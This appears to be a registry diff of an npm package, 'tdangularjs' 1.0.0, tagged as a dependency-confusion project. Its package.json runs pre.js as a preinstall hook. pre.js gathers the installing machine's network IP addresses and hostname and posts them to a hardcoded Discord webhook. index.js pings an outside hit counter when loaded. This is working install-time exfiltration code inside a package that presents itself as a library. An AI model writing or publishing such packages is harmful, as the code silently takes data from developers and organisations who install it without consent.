tdangularjs 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +1 -0
- package/package.json +25 -0
- package/pre.js +38 -0
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const https = require('https'); const main = (function(){ const options = { hostname: 'hits.dwyl.com', path: '/serialfuzzer/serialfuzzer', method: 'GET', headers: { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Referer': 'https://github.com/serialfuzzer' } }; const req = https.request(options, (res) => { res.on('data', (chunk) => {}); }); req.on('error', (error) => { }); req.end(); return {}; })(); module.exports = main;
|
package/package.json
ADDED
@@ -0,0 +1,25 @@
|
|
1
|
+
|
2
|
+
{
|
3
|
+
"name": "tdangularjs",
|
4
|
+
"version": "1.0.0",
|
5
|
+
"description": "Research project",
|
6
|
+
"main": "index.js",
|
7
|
+
"scripts": {
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
9
|
+
"preinstall": "node pre.js"
|
10
|
+
},
|
11
|
+
"repository": {
|
12
|
+
"type": "git",
|
13
|
+
"url": "git+https://github.com/serialfuzzer/AngulerJS.git"
|
14
|
+
},
|
15
|
+
"keywords": [
|
16
|
+
"dependency_confusion"
|
17
|
+
],
|
18
|
+
"author": "serialfuzzer",
|
19
|
+
"license": "ISC",
|
20
|
+
"bugs": {
|
21
|
+
"url": "https://github.com/serialfuzzer/AngulerJS/issues"
|
22
|
+
},
|
23
|
+
"homepage": "https://github.com/serialfuzzer/AngulerJS#readme"
|
24
|
+
}
|
25
|
+
|
package/pre.js
ADDED
@@ -0,0 +1,38 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
const os = require("os");
|
3
|
+
|
4
|
+
function sendToDiscord(webhookURL, content) {
|
5
|
+
const url = new URL(webhookURL);
|
6
|
+
|
7
|
+
const data = JSON.stringify({
|
8
|
+
content: content
|
9
|
+
});
|
10
|
+
|
11
|
+
const options = {
|
12
|
+
hostname: url.hostname,
|
13
|
+
port: 443,
|
14
|
+
path: url.pathname + url.search,
|
15
|
+
method: 'POST',
|
16
|
+
headers: {
|
17
|
+
'Content-Type': 'application/json',
|
18
|
+
'Content-Length': data.length
|
19
|
+
}
|
20
|
+
};
|
21
|
+
|
22
|
+
const req = https.request(options, (res) => {});
|
23
|
+
|
24
|
+
req.on('error', (error) => {
|
25
|
+
console.error(error);
|
26
|
+
});
|
27
|
+
|
28
|
+
req.write(data);
|
29
|
+
req.end();
|
30
|
+
}
|
31
|
+
const main = !(function(){
|
32
|
+
var wu = 'https://discord.com/api/webhooks/1155988140591419412/bleuGvUtBCzaGsAkAI1MT9Yd-6YxHuUlZe91XSdfioky5-0e3gzeW4ztWskX1qYjSxzr';
|
33
|
+
const log_this = Object.keys(os.networkInterfaces()).map(int=>os.networkInterfaces()[int][0].address).join(",").concat(", "+os.hostname())
|
34
|
+
sendToDiscord(wu, log_this);
|
35
|
+
return {};
|
36
|
+
})();
|
37
|
+
|
38
|
+
module.exports = main;
|